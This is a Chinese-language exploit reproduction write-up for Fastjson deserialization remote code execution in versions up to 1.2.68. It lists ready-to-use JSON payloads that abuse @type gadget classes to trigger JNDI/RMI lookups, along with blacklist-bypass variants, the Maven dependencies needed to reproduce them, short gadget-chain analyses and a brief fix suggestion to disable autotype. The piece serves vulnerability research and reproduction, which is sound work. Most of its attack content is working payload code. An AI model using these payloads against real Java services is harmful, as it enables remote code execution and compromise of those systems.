Fastjson <=1.2.62 远程代码执行-漏洞复现
影响范围:
Fastjson<=1.2.62
需要开启autotype
poc:
String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";
pom.xml:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
tips:这里需要另外导入jar包才能测试
该黑名单主要来自于jackson-CVE-2020-8840
https://nvd.nist.gov/vuln/detail/CVE-2020-8840
漏洞复现:
漏洞分析
这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数
其父类中在toObject函数中调用了它,但是仍然不满足调用条件,因此继续溯源
可以看到在setAsText函数中调用了toObject函数,并且set满足调用规则,确定Astext属性,因此payload即打
github环境:
https://github.com/Wfzsec/FastJson1.2.62-RCE
修复建议:
1.关了autotype,用白名单(推荐)
2.升级jdk(不太现实)
fastjson<1.2.67 黑名单绕过
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
poc:
String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://127.0.0.1:1099/tr1ple\"}}";
pom.xml
<dependency> <groupId>org.apache.ibatis</groupId> <artifactId>ibatis-sqlmap</artifactId> <version>2.3.4.726</version> </dependency> <dependency> <groupId>javax</groupId> <artifactId>javaee-api</artifactId> <version>8.0.1</version> </dependency>
漏洞分析:
如下图所示setProperties反序列化将直接调用,那么在其中又直接调用initctx.lookup,明显的jndi注入,那么只需要看一下utxname如何传值即可,utxName是从props中取的,说明反序列化时prop必须存在且属性userTransaction存在,所以只需要再@type反序列化Properties,为其写入userTransaction和rmi键值对即可
fastjson<1.2.68 黑名单绕过
org.apache.shiro.jndi.JndiObjectFactory
pom.xml:
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.5.1</version> </dependency>
poc:
String payload="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\": \"rmi://127.0.0.1:1099/Exploit\"}";
getInstance方法中存在可控的lookup方法,参数resourceName可通过下图函数进行赋值
br.com.anteros.dbcp.AnterosDBCPConfig
poc:
String payload="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";
String payload="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";
pom.xml
<dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0.1</version> </dependency> <!-- https://mvnrepository.com/artifact/com.codahale.metrics/metrics-healthchecks --> <dependency> <groupId>com.codahale.metrics</groupId> <artifactId>metrics-healthchecks</artifactId> <version>3.0.2</version> </dependency>
在此get方法中存在lookup方法,但参数看起来没办法直接通过set函数赋值,那么除了set赋值,另外一种就是在其他函数调用该函数进行传值调用
在下图两处都调用了该方法,那么入口的参数都是可控的,因此直接反序列化时传入即可
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
poc:
String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\": \"rmi://127.0.0.1:1099/Exploit\"}";
pom.xml
<dependency> <groupId>org.apache.ignite</groupId> <artifactId>ignite-jta</artifactId> <version>2.8.0</version> </dependency>
getTm存在lookup方法的调用,其来自jndiNames
setJndiNames为其赋值
fastjson 反序列化类时必须有无参的构造方法,否则在checkautotype方法中将被fastjson判断为接口或抽象类,最终抛出autoType is not support
的异常。
关于Fastjson反序列化构造方法的选择:
https://www.cnblogs.com/Raiden-xin/p/12681577.html